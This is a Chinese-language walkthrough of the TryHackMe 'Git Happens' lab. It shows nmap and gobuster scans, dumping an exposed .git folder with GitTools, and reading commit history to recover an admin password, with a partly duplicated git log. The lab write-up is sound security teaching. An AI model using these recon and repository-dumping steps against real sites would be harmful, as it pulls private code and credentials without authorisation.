【THM】Git Happens練習

Super_Snow_Sword發表於2024-10-02

【THM】Git Happens練習

與本文相關的TryHackMe實驗房間連結:TryHackMe | Git Happens

簡介:老闆讓我建立一個原型程式碼,所以它就在這裡!我們甚至使用了一種叫做“版本控制”的東西,使部署變得非常容易!

TryHackMe

你能找到應用程式的密碼嗎?

image-20241002120210087

第一題:找到超級機密的密碼

第一步

埠掃描

首先使用nmap對埠進行掃描

nmap -Pn -sV -T4 -A 10.10.139.132

-A 啟動Os檢測,版本檢測,指令碼掃描和traceroute

image-20241002120359614

可以發現目標開放了1個埠:80/tcp http服務,並且執行的是git伺服器

第二步

訪問網站

我們先進入網站看看介面

image-20241002120518911

是一個登入介面

第三步

資訊收集

我們先看看網頁的原始碼裡面會不會藏了什麼東西,啥也沒有

再優先檢視robots.txt來看看這個網站會不會有什麼見不得人的檔案,404 not found

使用gobuster工具掃描網站目錄(這裡用了fuzzdict master的字典):

gobuster dir -u http://10.10.139.132 -w top7000.txt

image-20241002120936012

我們嘗試訪問/.git/發現可以進入

.git資料夾

.git/ 目錄是 Git 版本控制系統在每個 Git 倉庫中自動建立的隱藏目錄。它包含了該倉庫的所有版本歷史、配置資訊和後設資料。

(字典不夠強大掃不出來,平時用dirsearch就好了)

image-20241002121026919

第四步

git洩露漏洞利用

該網站存在git洩露,我們使用GitTools將git倉庫下載到我們的攻擊機上。

GitTools倉庫中有三個工具,它們是Dumper, Extractor和Finder

Dumper 將/.git/內容轉儲到本機

Extractor 還原不完整的倉庫內容,用於分析和提取 Git 倉庫中的敏感資料

Finder 用於掃描和發現存在 Git 倉庫的公共網站或資源

使用gitdumper,將git內容dump到攻擊機,儲存在nihao資料夾中:

./gitdumper.sh  http://10.10.139.132/.git/ ./nihao/

image-20241002122822479

dump成功後資料夾是空的,.git檔案是隱藏的

第五步

分析Git倉庫

我們使用以下命令檢視 Git 倉庫提交歷史:

git log

得到以下輸出:

commit d0b3578a628889f38c0affb1b75457146a4678e5 (HEAD -> master, tag: v1.0)
Author: Adam Bertrand <hydragyrum@gmail.com>
Date:   Thu Jul 23 22:22:16 2020 +0000

    Update .gitlab-ci.yml

commit 77aab78e2624ec9400f9ed3f43a6f0c942eeb82d
Author: Hydragyrum <hydragyrum@gmail.com>
Date:   Fri Jul 24 00:21:25 2020 +0200

    add gitlab-ci config to build docker file.

commit 2eb93ac3534155069a8ef59cb25b9c1971d5d199
Author: Hydragyrum <hydragyrum@gmail.com>
Date:   Fri Jul 24 00:08:38 2020 +0200

    setup dockerfile and setup defaults.

commit d6df4000639981d032f628af2b4d03b8eff31213
Author: Hydragyrum <hydragyrum@gmail.com>
Date:   Thu Jul 23 23:42:30 2020 +0200

    Make sure the css is standard-ish!

commit d954a99b96ff11c37a558a5d93ce52d0f3702a7d
Author: Hydragyrum <hydragyrum@gmail.com>
Date:   Thu Jul 23 23:41:12 2020 +0200

    re-obfuscating the code to be really secure!

commit bc8054d9d95854d278359a432b6d97c27e24061d
Author: Hydragyrum <hydragyrum@gmail.com>
Date:   Thu Jul 23 23:37:32 2020 +0200

commit d0b3578a628889f38c0affb1b75457146a4678e5 (HEAD -> master, tag: v1.0)
Author: Adam Bertrand <hydragyrum@gmail.com>
Date:   Thu Jul 23 22:22:16 2020 +0000

    Update .gitlab-ci.yml

commit 77aab78e2624ec9400f9ed3f43a6f0c942eeb82d
Author: Hydragyrum <hydragyrum@gmail.com>
Date:   Fri Jul 24 00:21:25 2020 +0200

    add gitlab-ci config to build docker file.

commit 2eb93ac3534155069a8ef59cb25b9c1971d5d199
Author: Hydragyrum <hydragyrum@gmail.com>
Date:   Fri Jul 24 00:08:38 2020 +0200

    setup dockerfile and setup defaults.

commit d6df4000639981d032f628af2b4d03b8eff31213
Author: Hydragyrum <hydragyrum@gmail.com>
Date:   Thu Jul 23 23:42:30 2020 +0200

    Make sure the css is standard-ish!

commit d0b3578a628889f38c0affb1b75457146a4678e5 (HEAD -> master, tag: v1.0)
Author: Adam Bertrand <hydragyrum@gmail.com>
Date:   Thu Jul 23 22:22:16 2020 +0000

    Update .gitlab-ci.yml

commit 77aab78e2624ec9400f9ed3f43a6f0c942eeb82d
Author: Hydragyrum <hydragyrum@gmail.com>
Date:   Fri Jul 24 00:21:25 2020 +0200

    add gitlab-ci config to build docker file.

commit 2eb93ac3534155069a8ef59cb25b9c1971d5d199
Author: Hydragyrum <hydragyrum@gmail.com>
Date:   Fri Jul 24 00:08:38 2020 +0200

    setup dockerfile and setup defaults.

commit d6df4000639981d032f628af2b4d03b8eff31213
Author: Hydragyrum <hydragyrum@gmail.com>
Date:   Thu Jul 23 23:42:30 2020 +0200

    Make sure the css is standard-ish!

commit d954a99b96ff11c37a558a5d93ce52d0f3702a7d
Author: Hydragyrum <hydragyrum@gmail.com>
Date:   Thu Jul 23 23:41:12 2020 +0200

    re-obfuscating the code to be really secure!

commit bc8054d9d95854d278359a432b6d97c27e24061d
Author: Hydragyrum <hydragyrum@gmail.com>
Date:   Thu Jul 23 23:37:32 2020 +0200

commit e56eaa8e29b589976f33d76bc58a0c4dfb9315b1
Author: Hydragyrum <hydragyrum@gmail.com>
Date:   Thu Jul 23 23:25:52 2020 +0200

    Obfuscated the source code.
    
    Hopefully security will be happy!

commit 395e087334d613d5e423cdf8f7be27196a360459
Author: Hydragyrum <hydragyrum@gmail.com>
Date:   Thu Jul 23 23:17:43 2020 +0200

    Made the login page, boss!

commit 2f423697bf81fe5956684f66fb6fc6596a1903cc
Author: Adam Bertrand <hydragyrum@gmail.com>
Date:   Mon Jul 20 20:46:28 2020 +0000

    Initial commit

日誌中的內容分為以下部分:

commit	當前提交的雜湊值
(HEAD -> master, tag: v1.0)	表示當前處於 master 分支,並且 HEAD 指向最新的提交
Author	作者資訊
Date	日期
提交資訊(備註)

我們可以發現雜湊值為395e087334d613d5e423cdf8f7be27196a360459的日誌中有一條說“做好了登入頁面老闆!”,我們著重分析

git show 395e087334d613d5e423cdf8f7be27196a360459

git show 命令用於顯示特定提交的詳細資訊,包括提交的內容、修改的檔案和差異

image-20241002123742217

我們可以在底部發現admin使用者的password

就是我們要找的超級機密的密碼

image-20241002124051954